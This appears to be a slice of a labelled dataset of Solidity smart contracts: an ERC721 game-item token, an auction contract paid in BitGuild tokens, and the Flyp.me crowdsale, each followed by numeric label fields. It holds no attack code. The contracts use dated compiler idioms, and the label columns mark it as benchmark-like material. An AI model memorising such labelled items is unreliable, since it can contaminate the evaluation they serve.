uint16 pos;
uint16 health;
uint16 atkMin;
uint16 atkMax;
uint16 defence;
uint16 crit;
uint16 isPercent;
uint16 attrExt1;
uint16 attrExt2;
uint16 attrExt3;
}
Fashion[] public fashionArray;
uint256 destroyFashionCount;
mapping (uint256 => address) fashionIdToOwner;
mapping (address => uint256[]) ownerToFashionArray;
mapping (uint256 => uint256) fashionIdToOwnerIndex;
mapping (uint256 => address) fashionIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event CreateFashion(address indexed owner, uint256 tokenId, uint16 protoId, uint16 quality, uint16 pos, uint16 createType);
event ChangeFashion(address indexed owner, uint256 tokenId, uint16 changeType);
event DeleteFashion(address indexed owner, uint256 tokenId, uint16 deleteType);
function WarToken() public {
addrAdmin = msg.sender;
fashionArray.length += 1;
}
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
require(fashionIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = fashionIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == fashionIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
function name() public pure returns(string) {
return "WAR Token";
}
function symbol() public pure returns(string) {
return "WAR";
}
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != address(0));
return ownerToFashionArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
return fashionIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
fashionIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return fashionIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return fashionArray.length - destroyFashionCount - 1;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
if (fashionIdToApprovals[_tokenId] != address(0)) {
delete fashionIdToApprovals[_tokenId];
}
}
fashionIdToOwner[_tokenId] = _to;
ownerToFashionArray[_to].push(_tokenId);
fashionIdToOwnerIndex[_tokenId] = ownerToFashionArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function createFashion(address _owner, uint16[9] _attrs, uint16 _createType)
external
whenNotPaused
returns(uint256)
{
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newFashionId = fashionArray.length;
require(newFashionId < 4294967296);
fashionArray.length += 1;
Fashion storage fs = fashionArray[newFashionId];
fs.protoId = _attrs[0];
fs.quality = _attrs[1];
fs.pos = _attrs[2];
if (_attrs[3] != 0) {
fs.health = _attrs[3];
}
if (_attrs[4] != 0) {
fs.atkMin = _attrs[4];
fs.atkMax = _attrs[5];
}
if (_attrs[6] != 0) {
fs.defence = _attrs[6];
}
if (_attrs[7] != 0) {
fs.crit = _attrs[7];
}
if (_attrs[8] != 0) {
fs.isPercent = _attrs[8];
}
_transfer(0, _owner, newFashionId);
CreateFashion(_owner, newFashionId, _attrs[0], _attrs[1], _attrs[2], _createType);
return newFashionId;
}
function _changeAttrByIndex(Fashion storage _fs, uint16 _index, uint16 _val) internal {
if (_index == 3) {
_fs.health = _val;
} else if(_index == 4) {
_fs.atkMin = _val;
} else if(_index == 5) {
_fs.atkMax = _val;
} else if(_index == 6) {
_fs.defence = _val;
} else if(_index == 7) {
_fs.crit = _val;
} else if(_index == 9) {
_fs.attrExt1 = _val;
} else if(_index == 10) {
_fs.attrExt2 = _val;
} else if(_index == 11) {
_fs.attrExt3 = _val;
}
}
function changeFashionAttr(uint256 _tokenId, uint16[4] _idxArray, uint16[4] _params, uint16 _changeType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
Fashion storage fs = fashionArray[_tokenId];
if (_idxArray[0] > 0) {
_changeAttrByIndex(fs, _idxArray[0], _params[0]);
}
if (_idxArray[1] > 0) {
_changeAttrByIndex(fs, _idxArray[1], _params[1]);
}
if (_idxArray[2] > 0) {
_changeAttrByIndex(fs, _idxArray[2], _params[2]);
}
if (_idxArray[3] > 0) {
_changeAttrByIndex(fs, _idxArray[3], _params[3]);
}
ChangeFashion(fashionIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyFashion(uint256 _tokenId, uint16 _deleteType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
address _from = fashionIdToOwner[_tokenId];
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
fashionIdToOwner[_tokenId] = address(0);
delete fashionIdToOwnerIndex[_tokenId];
destroyFashionCount += 1;
Transfer(_from, 0, _tokenId);
DeleteFashion(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getFashion(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[12] datas) {
Fashion storage fs = fashionArray[_tokenId];
datas[0] = fs.protoId;
datas[1] = fs.quality;
datas[2] = fs.pos;
datas[3] = fs.health;
datas[4] = fs.atkMin;
datas[5] = fs.atkMax;
datas[6] = fs.defence;
datas[7] = fs.crit;
datas[8] = fs.isPercent;
datas[9] = fs.attrExt1;
datas[10] = fs.attrExt2;
datas[11] = fs.attrExt3;
}
function getOwnFashions(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage fsArray = ownerToFashionArray[_owner];
uint256 length = fsArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = fsArray[i];
Fashion storage fs = fashionArray[fsArray[i]];
flags[i] = uint32(uint32(fs.protoId) * 100 + uint32(fs.quality) * 10 + fs.pos);
}
}
function getFashionsAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 11);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (fashionIdToOwner[tokenId] != address(0)) {
index = i * 11;
Fashion storage fs = fashionArray[tokenId];
attrs[index] = fs.health;
attrs[index + 1] = fs.atkMin;
attrs[index + 2] = fs.atkMax;
attrs[index + 3] = fs.defence;
attrs[index + 4] = fs.crit;
attrs[index + 5] = fs.isPercent;
attrs[index + 6] = fs.attrExt1;
attrs[index + 7] = fs.attrExt2;
attrs[index + 8] = fs.attrExt3;
}
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IDataMining {
function getRecommender(address _target) external view returns(address);
function subFreeMineral(address _target) external returns(bool);
}
interface IDataEquip {
function isEquiped(address _target, uint256 _tokenId) external view returns(bool);
function isEquipedAny2(address _target, uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isEquipedAny3(address _target, uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
interface IDataAuction {
function isOnSale(uint256 _tokenId) external view returns(bool);
function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool);
function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool);
}
interface IBitGuildToken {
function transfer(address _to, uint256 _value) external;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) external returns (bool);
function balanceOf(address _from) external view returns(uint256);
}
contract ActionAuctionPlat is AccessService {
using SafeMath for uint256;
event AuctionPlatCreate(uint256 indexed index, address indexed seller, uint256 tokenId);
event AuctionPlatSold(uint256 indexed index, address indexed seller, address indexed buyer, uint256 tokenId, uint256 price);
event AuctionPlatCancel(uint256 indexed index, address indexed seller, uint256 tokenId);
event AuctionPlatPriceChange(uint256 indexed index, address indexed seller, uint256 tokenId, uint64 platVal);
struct Auction {
address seller;
uint64 tokenId;
uint64 price;
uint64 tmStart;
uint64 tmSell;
}
Auction[] public auctionArray;
mapping(uint256 => uint256) public latestAction;
WarToken public tokenContract;
IDataEquip public equipContract;
IBitGuildToken public bitGuildContract;
IDataAuction public ethAuction;
uint64 public searchStartIndex;
uint64 public auctionDuration = 172800;
uint64 public auctionSumPlat;
function ActionAuctionPlat(address _nftAddr, address _platAddr) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = WarToken(_nftAddr);
Auction memory order = Auction(0, 0, 0, 1, 1);
auctionArray.push(order);
bitGuildContract = IBitGuildToken(_platAddr);
}
function() external {}
function setDataEquip(address _addr) external onlyAdmin {
require(_addr != address(0));
equipContract = IDataEquip(_addr);
}
function setEthAuction(address _addr) external onlyAdmin {
require(_addr != address(0));
ethAuction = IDataAuction(_addr);
}
function setDuration(uint64 _duration) external onlyAdmin {
require(_duration >= 300 && _duration <= 8640000);
auctionDuration = _duration;
}
function newAuction(uint256 _tokenId, uint64 _pricePlat)
external
whenNotPaused
{
require(tokenContract.ownerOf(_tokenId) == msg.sender);
require(!equipContract.isEquiped(msg.sender, _tokenId));
require(_pricePlat >= 1 && _pricePlat <= 999999);
uint16[12] memory fashion = tokenContract.getFashion(_tokenId);
require(fashion[1] > 1);
uint64 tmNow = uint64(block.timestamp);
uint256 lastIndex = latestAction[_tokenId];
if (lastIndex > 0) {
Auction memory oldOrder = auctionArray[lastIndex];
require((oldOrder.tmStart + auctionDuration) <= tmNow || oldOrder.tmSell > 0);
}
if (address(ethAuction) != address(0)) {
require(!ethAuction.isOnSale(_tokenId));
}
uint256 newAuctionIndex = auctionArray.length;
auctionArray.length += 1;
Auction storage order = auctionArray[newAuctionIndex];
order.seller = msg.sender;
order.tokenId = uint64(_tokenId);
order.price = _pricePlat;
uint64 lastActionStart = auctionArray[newAuctionIndex - 1].tmStart;
if (tmNow >= lastActionStart) {
order.tmStart = tmNow;
} else {
order.tmStart = lastActionStart;
}
latestAction[_tokenId] = newAuctionIndex;
AuctionPlatCreate(newAuctionIndex, msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId) external whenNotPaused {
require(tokenContract.ownerOf(_tokenId) == msg.sender);
uint256 lastIndex = latestAction[_tokenId];
require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
require(order.seller == msg.sender);
require(order.tmSell == 0);
order.tmSell = 1;
AuctionPlatCancel(lastIndex, msg.sender, _tokenId);
}
function changePrice(uint256 _tokenId, uint64 _pricePlat) external whenNotPaused {
require(tokenContract.ownerOf(_tokenId) == msg.sender);
uint256 lastIndex = latestAction[_tokenId];
require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
require(order.seller == msg.sender);
require(order.tmSell == 0);
uint64 tmNow = uint64(block.timestamp);
require(order.tmStart + auctionDuration > tmNow);
require(_pricePlat >= 1 && _pricePlat <= 999999);
order.price = _pricePlat;
AuctionPlatPriceChange(lastIndex, msg.sender, _tokenId, _pricePlat);
}
function _bid(address _sender, uint256 _platVal, uint256 _tokenId) internal {
uint256 lastIndex = latestAction[_tokenId];
require(lastIndex > 0);
Auction storage order = auctionArray[lastIndex];
uint64 tmNow = uint64(block.timestamp);
require(order.tmStart + auctionDuration > tmNow);
require(order.tmSell == 0);
address realOwner = tokenContract.ownerOf(_tokenId);
require(realOwner == order.seller);
require(realOwner != _sender);
uint256 price = (uint256(order.price)).mul(1000000000000000000);
require(price == _platVal);
require(bitGuildContract.transferFrom(_sender, address(this), _platVal));
order.tmSell = tmNow;
auctionSumPlat += order.price;
uint256 sellerProceeds = price.mul(9).div(10);
tokenContract.safeTransferByContract(_tokenId, _sender);
bitGuildContract.transfer(realOwner, sellerProceeds);
AuctionPlatSold(lastIndex, realOwner, _sender, _tokenId, price);
}
function _getTokenIdFromBytes(bytes _extraData) internal pure returns(uint256) {
uint256 val = 0;
uint256 index = 0;
uint256 length = _extraData.length;
while (index < length) {
val += (uint256(_extraData[index]) * (256 ** (length - index - 1)));
index += 1;
}
return val;
}
function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData)
external
whenNotPaused
{
require(msg.sender == address(bitGuildContract));
require(_extraData.length <= 8);
uint256 tokenId = _getTokenIdFromBytes(_extraData);
_bid(_sender, _value, tokenId);
}
function _getStartIndex(uint64 startIndex) internal view returns(uint64) {
uint64 tmFind = uint64(block.timestamp) - auctionDuration;
uint64 first = startIndex;
uint64 middle;
uint64 half;
uint64 len = uint64(auctionArray.length - startIndex);
while(len > 0) {
half = len / 2;
middle = first + half;
if (auctionArray[middle].tmStart < tmFind) {
first = middle + 1;
len = len - half - 1;
} else {
len = half;
}
}
return first;
}
function resetSearchStartIndex () internal {
searchStartIndex = _getStartIndex(searchStartIndex);
}
function _getAuctionIdArray(uint64 _startIndex, uint64 _count)
internal
view
returns(uint64[])
{
uint64 tmFind = uint64(block.timestamp) - auctionDuration;
uint64 start = _startIndex > 0 ? _startIndex : _getStartIndex(0);
uint256 length = auctionArray.length;
uint256 maxLen = _count > 0 ? _count : length - start;
if (maxLen == 0) {
maxLen = 1;
}
uint64[] memory auctionIdArray = new uint64[](maxLen);
uint64 counter = 0;
for (uint64 i = start; i < length; ++i) {
if (auctionArray[i].tmStart > tmFind && auctionArray[i].tmSell == 0) {
auctionIdArray[counter++] = i;
if (_count > 0 && counter == _count) {
break;
}
}
}
if (counter == auctionIdArray.length) {
return auctionIdArray;
} else {
uint64[] memory realIdArray = new uint64[](counter);
for (uint256 j = 0; j < counter; ++j) {
realIdArray[j] = auctionIdArray[j];
}
return realIdArray;
}
}
function getPlatBalance() external view returns(uint256) {
return bitGuildContract.balanceOf(this);
}
function withdrawPlat() external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
uint256 balance = bitGuildContract.balanceOf(this);
require(balance > 0);
bitGuildContract.transfer(addrFinance, balance);
}
function getAuctionIdArray(uint64 _startIndex, uint64 _count) external view returns(uint64[]) {
return _getAuctionIdArray(_startIndex, _count);
}
function getAuctionArray(uint64 _startIndex, uint64 _count)
external
view
returns(
uint64[] auctionIdArray,
address[] sellerArray,
uint64[] tokenIdArray,
uint64[] priceArray,
uint64[] tmStartArray)
{
auctionIdArray = _getAuctionIdArray(_startIndex, _count);
uint256 length = auctionIdArray.length;
sellerArray = new address[](length);
tokenIdArray = new uint64[](length);
priceArray = new uint64[](length);
tmStartArray = new uint64[](length);
for (uint256 i = 0; i < length; ++i) {
Auction storage tmpAuction = auctionArray[auctionIdArray[i]];
sellerArray[i] = tmpAuction.seller;
tokenIdArray[i] = tmpAuction.tokenId;
priceArray[i] = tmpAuction.price;
tmStartArray[i] = tmpAuction.tmStart;
}
}
function getAuction(uint64 auctionId) external view returns(
address seller,
uint64 tokenId,
uint64 price,
uint64 tmStart,
uint64 tmSell)
{
require (auctionId < auctionArray.length);
Auction memory auction = auctionArray[auctionId];
seller = auction.seller;
tokenId = auction.tokenId;
price = auction.price;
tmStart = auction.tmStart;
tmSell = auction.tmSell;
}
function getAuctionTotal() external view returns(uint256) {
return auctionArray.length;
}
function getStartIndex(uint64 _startIndex) external view returns(uint256) {
require (_startIndex < auctionArray.length);
return _getStartIndex(_startIndex);
}
function isOnSale(uint256 _tokenId) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId];
if (lastIndex > 0) {
Auction storage order = auctionArray[lastIndex];
uint64 tmNow = uint64(block.timestamp);
if ((order.tmStart + auctionDuration > tmNow) && order.tmSell == 0) {
return true;
}
}
return false;
}
function isOnSaleAny2(uint256 _tokenId1, uint256 _tokenId2) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId1];
uint64 tmNow = uint64(block.timestamp);
if (lastIndex > 0) {
Auction storage order1 = auctionArray[lastIndex];
if ((order1.tmStart + auctionDuration > tmNow) && order1.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId2];
if (lastIndex > 0) {
Auction storage order2 = auctionArray[lastIndex];
if ((order2.tmStart + auctionDuration > tmNow) && order2.tmSell == 0) {
return true;
}
}
return false;
}
function isOnSaleAny3(uint256 _tokenId1, uint256 _tokenId2, uint256 _tokenId3) external view returns(bool) {
uint256 lastIndex = latestAction[_tokenId1];
uint64 tmNow = uint64(block.timestamp);
if (lastIndex > 0) {
Auction storage order1 = auctionArray[lastIndex];
if ((order1.tmStart + auctionDuration > tmNow) && order1.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId2];
if (lastIndex > 0) {
Auction storage order2 = auctionArray[lastIndex];
if ((order2.tmStart + auctionDuration > tmNow) && order2.tmSell == 0) {
return true;
}
}
lastIndex = latestAction[_tokenId3];
if (lastIndex > 0) {
Auction storage order3 = auctionArray[lastIndex];
if ((order3.tmStart + auctionDuration > tmNow) && order3.tmSell == 0) {
return true;
}
}
return false;
}
} | 0 | 1,834 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MyFinalizableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
address public tokenWallet;
event FinalTokens(uint256 _generated);
function MyFinalizableCrowdsale(address _tokenWallet) {
tokenWallet = _tokenWallet;
}
function generateFinalTokens(uint256 ratio) internal {
uint256 finalValue = token.totalSupply();
finalValue = finalValue.mul(ratio).div(1000);
token.mint(tokenWallet, finalValue);
FinalTokens(finalValue);
}
}
contract MultiCappedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
uint256 public softCap;
uint256 public hardCap = 0;
bytes32 public hardCapHash;
uint256 public hardCapTime = 0;
uint256 public endBuffer;
event NotFinalized(bytes32 _a, bytes32 _b);
function MultiCappedCrowdsale(uint256 _softCap, bytes32 _hardCapHash, uint256 _endBuffer) {
require(_softCap > 0);
softCap = _softCap;
hardCapHash = _hardCapHash;
endBuffer = _endBuffer;
}
function validPurchase() internal constant returns (bool) {
if (hardCap > 0) {
checkHardCap(weiRaised.add(msg.value));
}
return super.validPurchase();
}
function hashHardCap(uint256 _hardCap, uint256 _key) internal constant returns (bytes32) {
return keccak256(_hardCap, _key);
}
function setHardCap(uint256 _hardCap, uint256 _key) external onlyOwner {
require(hardCap==0);
if (hardCapHash != hashHardCap(_hardCap, _key)) {
NotFinalized(hashHardCap(_hardCap, _key), hardCapHash);
return;
}
hardCap = _hardCap;
checkHardCap(weiRaised);
}
function checkHardCap(uint256 totalRaised) internal {
if (hardCapTime == 0 && totalRaised > hardCap) {
hardCapTime = block.timestamp;
endTime = block.timestamp+endBuffer;
}
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
return balanceOf(holder);
}
}
contract FypToken is MintableToken, LimitedTransferToken {
string public constant name = "Flyp.me Token";
string public constant symbol = "FYP";
uint8 public constant decimals = 18;
bool public isTransferable = false;
function enableTransfers() onlyOwner {
isTransferable = true;
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
if (!isTransferable) {
return 0;
}
return super.transferableTokens(holder, time);
}
function finishMinting() onlyOwner public returns (bool) {
enableTransfers();
return super.finishMinting();
}
}
contract FlypCrowdsale is MyFinalizableCrowdsale, MultiCappedCrowdsale {
uint256 public presaleRate;
uint256 public postSoftRate;
uint256 public postHardRate;
uint256 public presaleEndTime;
function FlypCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _presaleEndTime, uint256 _rate, uint256 _rateDiff, uint256 _softCap, address _wallet, bytes32 _hardCapHash, address _tokenWallet, uint256 _endBuffer)
MultiCappedCrowdsale(_softCap, _hardCapHash, _endBuffer)
MyFinalizableCrowdsale(_tokenWallet)
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
presaleRate = _rate+_rateDiff;
postSoftRate = _rate-_rateDiff;
postHardRate = _rate-(2*_rateDiff);
presaleEndTime = _presaleEndTime;
}
function pregenTokens(address beneficiary, uint256 weiAmount, uint256 tokenAmount) external onlyOwner {
require(beneficiary != 0x0);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokenAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 currentRate = rate;
if (block.timestamp < presaleEndTime) {
currentRate = presaleRate;
}
else if (hardCap > 0 && weiRaised > hardCap) {
currentRate = postHardRate;
}
else if (weiRaised > softCap) {
currentRate = postSoftRate;
}
uint256 tokens = weiAmount.mul(currentRate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function createTokenContract() internal returns (MintableToken) {
return new FypToken();
}
function finalization() internal {
if (weiRaised < softCap) {
generateFinalTokens(1000);
} else if (weiRaised < hardCap) {
generateFinalTokens(666);
} else {
generateFinalTokens(428);
}
token.finishMinting();
super.finalization();
}
function withdraw(uint256 weiValue) onlyOwner {
wallet.transfer(weiValue);
}
} | 0 | 793 |
pragma solidity 0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address payable public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) external onlyOwner {
require(newOwner != address(0));
